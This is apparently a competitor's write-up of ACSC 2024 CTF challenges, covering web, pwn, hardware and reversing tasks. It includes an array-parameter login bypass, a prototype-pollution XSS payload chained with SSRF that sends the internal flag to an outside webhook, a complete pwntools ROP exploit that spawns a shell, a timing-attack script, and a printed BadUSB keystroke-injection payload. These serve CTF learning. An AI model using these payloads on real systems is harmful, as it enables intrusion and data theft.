# ACSC 2024 writeup
## Web:
### Login!
A simple login page, our target is to login as `user`.
```javascript
const user = USER_DB[username];
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
```
According to the source code, we just need to find a set of valid username and password and the username is not `guest`.
I spent quite a while looking at the loose comparision at `user.password == password`, hoping to find a type juggling vuln of some kind but that didn't work.
After some trial and error, I found out that we can pass username as an array and javascript would still return the correct object. So `USER_DB["guest"]` and `USER_DB[[["guest"]]` are the same but their indexes: `"guest"` and `["guest"]` are different.
So by sending a request with the following params to the server, we get the flag:
`username[]=guest&password=guest`
Flag: `ACSC{y3t_an0th3r_l0gin_byp4ss}`
### Buggy Bounty:
The target is to access the internal service `reward`.
#### Vulnerable dependencies:
- The server uses the library `request version 2.88.0`, which is vulnerable to [CVE-2023-28155](https://github.com/request/request/issues/3442), allowing bypass of SSRF mitigations (in our case, it allows us to bypass `ssrf-req-filter`)
- The page `triage.html` uses `arg-1.4.js`, which is vulnerable to client side prototype pollution: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/arg-js.md
#### Client side prototype pollution to XSS:
Using Burp's Dom invader in a local build of the site, we can easily get a payload to trigger XSS in the `/triage` endpoint.
```
http://127.0.0.1/triage?id=1&url=2&report=as&__proto__.src=data:,alert(1)
```
However we still need a way to trigger XSS at admin side. Since user input is used as-is to construct the triage URL for admin to visit, we can add our own GET param, and therefore, inject the XSS payload.
By sending the following params to the `/report_bug` endpoint, we can trigger XSS in the admin side and get a request to our webhook site.
```json
{
"id":"a",
"url":"a",
"report":"as&__proto__.src=data:,fetch('https://frost-xss.free.beeceptor.com')"
}
```
#### SSRF to access the internal service:
Once we triggered the XSS, we can force admin to visit the `/check_valid_url` and send request to an abitrary url. To access an internal url, we exploit the vuln in the `request` library and bypass `ssrf-req-filter`
We config our webhook site (which runs on https) to do a protocol switch from https to http (as described in the cve) and redirect to `http://reward:5000/bounty`. This will bypass the SSRF filter and give us the flag, which we can then send to our server.

Final payload to `/report_bug` (the `=` character is unusable for the XSS vuln so we can't use js arrow notation):
```json
{
"id":"a",
"url":"a",
"report":"as&__proto__.src=data:,fetch('/check_valid_url%3furl%3dhttps%3a%2f%2ffrost-xss.free.beeceptor.com').then(function(d){return d.text()}).then(function(x){fetch(`https://frost-xss.free.beeceptor.com/${x}`)})"
}
```
Flag: `ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}`
## Pwn:
### rot13
There is an out-of-bound read at:
```c
putchar(table[buf[i]]);
```
because `buf[i]` is of type `char`, which is signed.
This allows us to read up to 128 bytes on stack before the `table` variable. Thanks to this, we can leak the following:
- Address of `_IO_2_1_stdout_` ==> calculate the libc base.
- The stack canary
- A stack address (which now I think is kinda pointless)
There is also a buffer overflow at:
```c
scanf("%[^\n]%*c", buf)
```
Since we already have the canary, we can hijack the control flow. I tried a one-gadget but it doesn't work, so I built a rop chain to pop shell.
Solve script:
```python
from pwn import *
import sys
context.terminal = ["tmux", "splitw", "-h"]
binary_name = "./rot13_patched"
if len(sys.argv) > 1 and sys.argv[1].lower() == "debug":
gdbScript = "b *0x555555555597"
p = gdb.debug(binary_name, gdbScript, aslr=False)
elif len(sys.argv) > 1 and sys.argv[1].lower() == "remote":
ip = "rot13.chal.2024.ctf.acsc.asia"
port = 9999
p = remote(ip, port)
else:
p = process(binary_name, env={"LD_PRELOAD":""})
def send(text):
p.sendlineafter(b"Text:", text)
p.recvuntil(b"Result: ")
libc = ELF("./libc.so.6")
send(bytes(list(range(0x98, 0xa0))))
libcLeak = unpack(p.recvline(keepends=False), 64)
print(f"Libc leak: {hex(libcLeak)}")
libc.address = libcLeak - libc.symbols["_IO_2_1_stdout_"]
print(f"Libc base: {hex(libc.address)}")
send(bytes(list(range(0xf0, 0xf8))))
stack = unpack(p.recvline(keepends=False), 64)
# print(p.recv(8), 64)
print(f"Stack leak: {hex(stack)}")
# send(b"\xef\xee\xed\xec\xeb\xea\xe9\xe8"[::-1])
send(bytes(list(range(0xe8, 0xf0))))
canary = p.recvline(keepends=False)
print(f"Canary leak: {canary}")
payload = b"A"*264 + canary + p64(stack)
payload += p64(libc.address + 0x0000000000045eb0)
payload += p64(0x3b)
payload += p64(libc.address +0x000000000002a3e5)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.address + 0x000000000002be51) + p64(0)
payload += p64(libc.address + 0x0000000000170337) + p64(0) + p64(libc.address + 0x0000000000029db4) * 6
payload += p64(libc.address + 0x0000000000029db4)
send(payload)
p.sendline(b"")
p.interactive()
```
Flag: `ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}`
## Hardware:
### An4lyz3_1t:
We are given a `.sal` file. After some googling, I found a tool to open it: https://www.saleae.com/pages/downloads.
After opening the file and reading through Saleae [documentation](https://support.saleae.com/protocol-analyzers/analyzer-user-guides/using-async-serial) for async serial communication analysis, I tried to set the correct bitrate (with some guessing involved) and was able to get the flag.
### picopico:
We are given a firmware dump. Using `strings` on the dump, we see that there are some interesting strings at the end of the file. It seems that the firmware actually contains the original Python source code.
After some analysis, I see that most of the code are library code (specifically this lib: https://github.com/adafruit/Adafruit_CircuitPython_HID). The only code that seems interesting is at the very end
```python
import storage
storage.disable_usb_drive()
import time
L=len
o=bytes
l=zip
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
w=b"\x10\x53\x7f\x2b"
a=0x04
K=43
if microcontroller.nvm[0:L(w)]!=w:
microcontroller.nvm[0:L(w)]=w
O=microcontroller.nvm[a:a+K]
h=microcontroller.nvm[a+K:a+K+K]
F=o((kb^fb for kb,fb in l(O,h))).decode("ascii")
S=Keyboard(usb_hid.devices)
C=KeyboardLayoutUS(S)
time.sleep(0.1)
S.press(Keycode.WINDOWS,Keycode.R)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write("cmd",delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write(F,delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(0xFFFFFFFF)
```
The usb is trying to emulate keystrokes and execute some command on the target machine.
The script first makes sure that 4 bytes `"\x10\x53\x7f\x2b"` is written at the start of the non-volatile memory. It then take 2 43-bytes array right next to that and xor them together to produce the command.
Searching for the pattern `"\x10\x53\x7f\x2b"` in the dump file. We can locate the start of the non-volatile memory, then recover the content of the 2 arrays and decode the original command:
`echo ACSC{349040c16c36fbba8c484b289e0dae6f}`
And we have the flag.
### Vault:
Timing attack. Solve script:
```python
import subprocess
import time
command = ["./chall"]
known = ""
for i in range(10):
timer = {}
for test in range(10):
start = time.time()
process = subprocess.Popen(command,stdin=subprocess.PIPE)
pin = known + str(test) + "0" * (10 - len(known) - 1)
pin = "".join(pin)
print(pin)
process.communicate(pin.encode())
end = time.time()
process.kill()
timer[test] = end - start
known += str(max(timer, key=timer.get))
print(known)
print(known)
```
## Rev
### compyled
We are given a `.pyc` file. I tried using some decompile tool on this file but it's not possible, but luckily we can disassemble it.
```
0 LOAD_NAME 1: input
2 LOAD_CONST 0: 'FLAG> '
4 CALL_FUNCTION 1
6 LOAD_CONST 12 <INVALID>
8 LOAD_CONST 20 <INVALID>
```
The reason for it being impossible to decompile is the out-of-bound index in the `LOAD_CONST` opcode (there are only 2 constants) and the opcode `MATCH_SEQUENCE` (which is unsupported in most pyc decompile tool)
Initially I tried to patch out all the `MATCH_SEQUENCE` opcode. Since the following instructions:
```
BUILD_TUPLE 0
MATCH_SEQUENCE
```
seems to be just an obfuscated way to push `TRUE` to stack.
But then I notice that the code doesn't actually perform any modification on our input, and after a long set of instructions, it performs the `COMPARE_OP`. This could mean that the program constructs the plaintext flag in memory, then directly compare it to the input.
Since the program doesn't exit after a wrong input, this makes scanning with CheatEngine a perfect choice. I entered the wrong input a couple time, then scan the process's memory for the pattern `ACSC{` (hoping that the data is not immediately overwritten) and sure enough, that works.

### Sneaky VEH
The program asks us to provide 4 number in hex format as parameters.
At the start of `_main`, we see the signature instructions for registering a SEH frame
```asm
push offset stru_1434D8
push offset __except_handler4
mov eax, large fs:0
push eax
add esp, 0FFFFFFD8h
mov eax, ___security_cookie
xor [ebp+ms_exc.registration.ScopeTable], eax
........
lea eax, [ebp+ms_exc.registration]
mov large fs:0, eax
mov [ebp+ms_exc.old_esp], esp
```
I'm only familiar with handlers that are registered manually by pusing a function pointer and the old `fs:0` (aka the `EXCEPTION_REGISTRATION_RECORD` struct) to stack. Even though the changing of `fs:0` shows that those instructions have something to do with SEH, it looks way more complicated and seems like it was generated by the compiler. After some googling, I found an [article](https://limbioliong.wordpress.com/2022/01/18/understanding-windows-structured-exception-handling-part-2-digging-deeper/) detailing how the Visual C++ compiler generate code for `try-except` code block. Following the block, I found the `_EH4_SCOPETABLE` at address `0x1434D8`.
_I only notice this while writing this writeup, but it seems like the address of the scope table is xor-ed with the `___security_cookie`. Is this an attempt to prevent it from being overwritten during buffer overflow? Seems interesting_
The `EH4_SCOPETABLE` includes multiple `_EH4_SCOPETABLE_RECORD`, each correspond to a try-except block. In short, if a try-catch block is in this format:
```c++
try {
//...
} except (FilterFunc()) {
HandlerFunc()
}
```
Then the layout of the `_EH4_SCOPETABLE_RECORD` in memory would be:
```asm
dd some_number_called_TryLevel
dd offset FilterFunc
dd offset HandlerFunc
```
Knowing this, we can find the address of all the filter and handler routine (and set a bp there so we can monitor the control flow a bit easier).
_I just now realized that IDA actually identifies all this automatically for us :(_
All 4 `except` block eventually calls the same filter function at `0x141B50`. It keeps a global counter for how many exception has occured so far. It expects 4 exception in the following order:
- `STATUS_GUARD_PAGE_VIOLATION`
- `STATUS_BREAKPOINT`
- `STATUS_BREAKPOINT`
- `STATUS_ILLEGAL_INSTRUCTION`
The filter func will then use one of the input numbers as a key to decrypt a code block, which will eventually be called.
Back to `main`, the function first triggers a `STATUS_GUARD_PAGE_VIOLATION` at `0x141E9A`. Since the next exception must be `STATUS_BREAKPOINT`, we need to make sure the decrypted code block mentioned above starts with a `int 3` instruction, or 0xcc ==> our 1st constraint.
After the `STATUS_BREAKPOINT` exception inside `code_block_1`, the filter func will decrypt `code_block_2` and remove the `int 3` instruction from `code_block_1`. Once returned from the filter func, the binary will run the `code_block_1` again (this time without the exception). This routine repeats for `code_block_2` and here is what each code block does:
- Code block 1: get `ntdll.dll base`
- Code block 2: register a new exception handler at `0x1415D0` (named `handler2`) by calling `RtlAddVectoredExceptionHandler`. **From this point onward, every exception is resolved by the new `handler2`.**
After code block 2, the binary calls the function at `0x1419A0` to find multiple code gadget inside ntdll. These gadget addresses are saved in a big array at `0x144160`. The structure of each entry in the array is recovered like so:
```cpp
struct GadgetEntry
{
int someNumber;
char gadgetBytes[16];
int gadgetSize;
void *gadgetAddress;
int eax_;
int ebx_;
int ecx_;
int edx_;
int edi_;
int esi_;
int setRegFlag;
};
```
The first 4 exception handled by `handler2` are used to check the input numbers (the check function is actually at `0x1413B0`). After we pass each check, the function xor the old code block with a hardcoded key, then run the result (which will generate a new exception --> another check). Overall, this gives us 4 new constraints.
```python
s.add((keyArray[1] ^ (((keyArray[0] << 0x10) & 0xffff0000) | (keyArray[0] >> 8) & 0xFF00 | HIBYTE(keyArray[0]))) == 0x252D0D17)
s.add((keyArray[0] ^ (((keyArray[1] << 0x10) & 0xffff0000) | (keyArray[1] >> 8) & 0xFF00 | HIBYTE(keyArray[1]))) == 0x253F1D15)
s.add((keyArray[2] ^ (((keyArray[3] << 0x10) & 0xffff0000) | (keyArray[3] >> 8) & 0xFF00 | HIBYTE(keyArray[3]))) == 0x0BAA5756E)
s.add((keyArray[3] ^ (((keyArray[2] << 0x10) & 0xffff0000) | (keyArray[2] >> 8) & 0xFF00 | HIBYTE(keyArray[2]))) == 0x0BEA57768)
```
After these 4 checks, the binary starts executing the gadget inside the array at `0x144160`. Before each gadget is execute, the program set the `Trap flag` (if the gadget is 1 instruction long?) or a hardware breakpoint at the end of the gadget (if the gadget contains multiple instruction?). This will ensure that after the expected instructions in the gadget is executed, the control flow moves back to `handler2`, which then does the same thing again and move to a new gadget.
Eventually, we reach the final check function at `0x1412A0`, which gives us the last set of constraints.
Solve script (to find 4 required number):
```python
from z3 import *
keyArray = [BitVec(f"x{i}", 32) for i in range(4)]
HIBYTE = lambda x : (x >> 24) & 0xff
HIWORD = lambda x : (x >> 16) & 0xffff
BYTE1 = lambda x : (x >> 8) & 0xff
s = Solver()
s.add((HIBYTE(keyArray[0]) ^ HIWORD(keyArray[0]) ^ BYTE1(keyArray[0]) ^ keyArray[0]) & 0xff == 0x18)
s.add((HIBYTE(keyArray[1]) ^ HIWORD(keyArray[1]) ^ BYTE1(keyArray[1]) ^ keyArray[1]) & 0xff == 0xa)
s.add((HIBYTE(keyArray[2]) ^ HIWORD(keyArray[2]) ^ BYTE1(keyArray[2]) ^ keyArray[2]) & 0xff == 0x1d)
s.add((keyArray[1] ^ (((keyArray[0] << 0x10) & 0xffff0000) | (keyArray[0] >> 8) & 0xFF00 | HIBYTE(keyArray[0]))) == 0x252D0D17)
s.add((keyArray[0] ^ (((keyArray[1] << 0x10) & 0xffff0000) | (keyArray[1] >> 8) & 0xFF00 | HIBYTE(keyArray[1]))) == 0x253F1D15)
s.add((keyArray[2] ^ (((keyArray[3] << 0x10) & 0xffff0000) | (keyArray[3] >> 8) & 0xFF00 | HIBYTE(keyArray[3]))) == 0x0BAA5756E)
s.add((keyArray[3] ^ (((keyArray[2] << 0x10) & 0xffff0000) | (keyArray[2] >> 8) & 0xFF00 | HIBYTE(keyArray[2]))) == 0x0BEA57768)
s.add((keyArray[1] ^ 0x43534341) & 0xff == 0x99)
s.add((keyArray[3] ^ 0x32) & 0xff == 0x4f)
s.add(keyArray[0] ^ keyArray[1] == 0x43534341)
s.add(keyArray[2] ^ keyArray[3] == 0x34323032)
print(s.check())
m = s.model()
for i in keyArray:
print(i, hex(m[i].as_long()))
```
Supply the 4 number as cli param to the program and we got a message box with the flag.
Flag: `ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}`
### YaraReTa
We are given the following files:
- A binary `PrintFlag` which decrypt the flag using a hardcoded key and print it.
- A compiled yara rule file.
- `yara` and `libyara`.
After some googling, I found a couple of articles that explain the format of yara compiled bytecode:
- https://bnbdr.github.io/posts/swisscheese/#precompiling-yara-rules
- https://bnbdr.github.io/posts/extracheese/
I also come accross this tool to disassemble compiled yara rules: https://github.com/hillu/yara-rules-re/tree/master
Run the tool with the provided `libyara` file like this, we get the disassemble of the compiled rule.
`LD_PRELOAD=./libyara.so.10 ./yara-disasm ./yarareta`
Disassemble code:
```
00000000: IMPORT 0x00005647dd2a5e38 ; "acsc"
00000009: IMPORT 0x00005647dd2a5e3d ; "console"
00000012: IMPORT 0x00005647dd2a5e45 ; "magic"
0000001b: INIT_RULE 0x0000000000000599 ; rule#0 <InvalidKey>; next = 000005b4 (+1433)
.....
0000004f: OBJ_LOAD 0x00005647dd2a5e38 ; "acsc"
00000058: OBJ_FIELD 0x00005647dd2a5e68 ; "check"
00000061: PUSH 0x00005647dd2ab030
0000006a: CALL 0x00005647dd2a5e6e ; "r"
00000073: OBJ_VALUE
00000074: AND
00000075: JFALSE 0x0000002b ; -> 000000a0 (+43)
0000007a: OBJ_LOAD 0x00005647dd2a5e38 ; "acsc"
00000083: OBJ_FIELD 0x00005647dd2a5e68 ; "check"
0000008c: PUSH 0x00005647dd2ab256
00000095: CALL 0x00005647dd2a5e6e ; "r"
0000009e: OBJ_VALUE
0000009f: AND
000000a0: JFALSE 0x0000002b ; -> 000000cb (+43)
....
```
Thanks to the articles and the yara documentation, I learned that we can write a custom module for yara. That info makes the disassembled code much simpler to understand, it just imports a module named `acsc` and repeatedly calls the `acsc.check()` function. However I don't know how to find the `acsc` module.
Obviously the moduled has to be compiled and embed inside either `yara` or `lib-yara`, but I didn't know which one yet. Since the help prompt of `yara` shows me that its version is `4.5.0`, I decided to download and build the same version. After comparing the checksum of our local `yara` and `lib-yara` with the offical ones, I found out that the 2 `lib-yara` are different --> custom module has to be in there.
`lib-yara`'s symbol is not stripped, that makes our job way easier, and since yara is open source, we can also use the source code to help with our reversing.
The `check()` function is located at offset `0x22404`. It will call [`yr_re_match()`](https://github.com/VirusTotal/yara/blob/master/libyara/re.c#L280) on the key, which will then call [`yr_re_exec()`](https://github.com/VirusTotal/yara/blob/master/libyara/re.c#L1701). According to the source code, the 2nd param of `yr_re_exec` is `"Regexp code be executed"` --> the regexp rule is also compiled to some sort of code.
Upon a closer look at `yr_re_exec()`, we see that the regexp code is executed by another vm. Knowing this, I tried to dump and disassemble the code.
By setting a breakpoint at offset `0x54c98`, right before the call to `yr_re_exec()`, we can get the address of the regexp code in the `rsi` register.
It turns out that only 3 opcode are used in the regex vm:
- [`RE_OPCODE_MATCH_AT_START`](https://github.com/VirusTotal/yara/blob/master/libyara/re.c#L1982): the rule is matched at the beginning (the `^` symbol at the start)
- [`RE_OPCODE_MATCH`](https://github.com/VirusTotal/yara/blob/master/libyara/re.c#L1998): appears at the end of the regex vm code.
- [`RE_OPCODE_CLASS`](https://github.com/VirusTotal/yara/blob/master/libyara/re.c#L1886): indicates a regex character class. Right next to the opcode should be a [`RE_CLASS`](https://github.com/VirusTotal/yara/blob/1be9811ad91c8d2113130e7274bd532a9c784c81/libyara/include/yara/types.h#L389). This struct specifies which characters is in the class (using a bitmap) and if the class is a `negated classes`
Each time the `check()` function is called there is a new regex rule. In total, we have 32 rules. Here is how a rule looks like:
```
0x0: RE_OPCODE_MATCH_AT_START
0x1: RE_OPCODE_CLASS
Negate: 1
[177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]
0x23: RE_OPCODE_CLASS
Negate: 1
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169]
.....
0x1ff: RE_OPCODE_CLASS
Negate: 1
[107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]
0x221: RE_OPCODE_MATCH
```
Each rule consists of 16 `RE_OPCODE_CLASS`, one for each byte of the key. They are all negated class, which means it tells us what value each byte should NOT take.
So by combining all 32 rules, we should be left with the only value that each byte should take --> get the correct key.
After patching `lib-yara` so that `check()` always returns true. I wrote an idapython script to set a hook at offset `0x54c98` to parse the regex vm code and solve for the key automatically. (Actually I just fixed the disassembler a bit)
```python
RE_OPCODE_MATCH_AT_START = 0xB1
RE_OPCODE_CLASS = 0xA5
RE_OPCODE_MATCH = 0xAD
resultMap = {i: list(range(256)) for i in range(16)}
def negateFunc(l):
return [i for i in range(256) if i not in l]
def intersec(a,b):
return list(set(a) & set(b))
def parseBitMap(m):
m = list(m)
chars = []
for i in range(256):
if (m[i // 8] & 1 << (i % 8)) &0xff != 0:
chars.append(i)
return list(chars)
read_byte = idc.read_dbg_byte
def parse(base):
ip = base
pos = 0
while True:
op = read_byte(ip)
offset = ip - base
print()
if op == RE_OPCODE_MATCH_AT_START:
print(f"{hex(offset)}: RE_OPCODE_MATCH_AT_START")
ip += 1
elif op == RE_OPCODE_CLASS:
print(f"{hex(offset)}: RE_OPCODE_CLASS")
negate = read_byte(ip+1)
bitmap = parseBitMap(get_bytes(ip+2, 32))
print(f"Negate: {negate}")
ip += (2 + 32)
if negate:
bitmap = negateFunc(bitmap)
print(bitmap)
resultMap[pos] = intersec(resultMap[pos], bitmap)
pos += 1
elif op == RE_OPCODE_MATCH:
print(f"{hex(offset)}: RE_OPCODE_MATCH")
break
else:
print(op)
print(hex(ip))
break
from idaapi import *
class MyHook(DBG_Hooks):
def dbg_bpt(self, tid, ea):
# print ("Break point at 0x%x pid=%d" % (ea, tid))
global counter
if (ea == idaapi.get_imagebase() + 0x54c98):
target = get_reg_value("rsi")
print(f"REGEX {counter}")
print(parse(target))
print(f"REGEX {counter}")
counter += 1
print()
return 0
try:
if debughook:
print("Removing previous hook ...")
debughook.unhook()
except:
pass
counter = 0
debughook = MyHook()
debughook.hook()
#print("HOOKED")
```
Set a breakpoint at offset `0x54c98` and run the idapython script, then run `yara`. After it's done running, printing the resultMap in the idapython console will give us the key. Patching the correct key to the `PrintFlag` binary and run it, we get the flag.
Flag: `ACSC{YaraHasTwoVirtualMachines_92b2c97ac28dd9fcbdf26ae7a7c906fe}`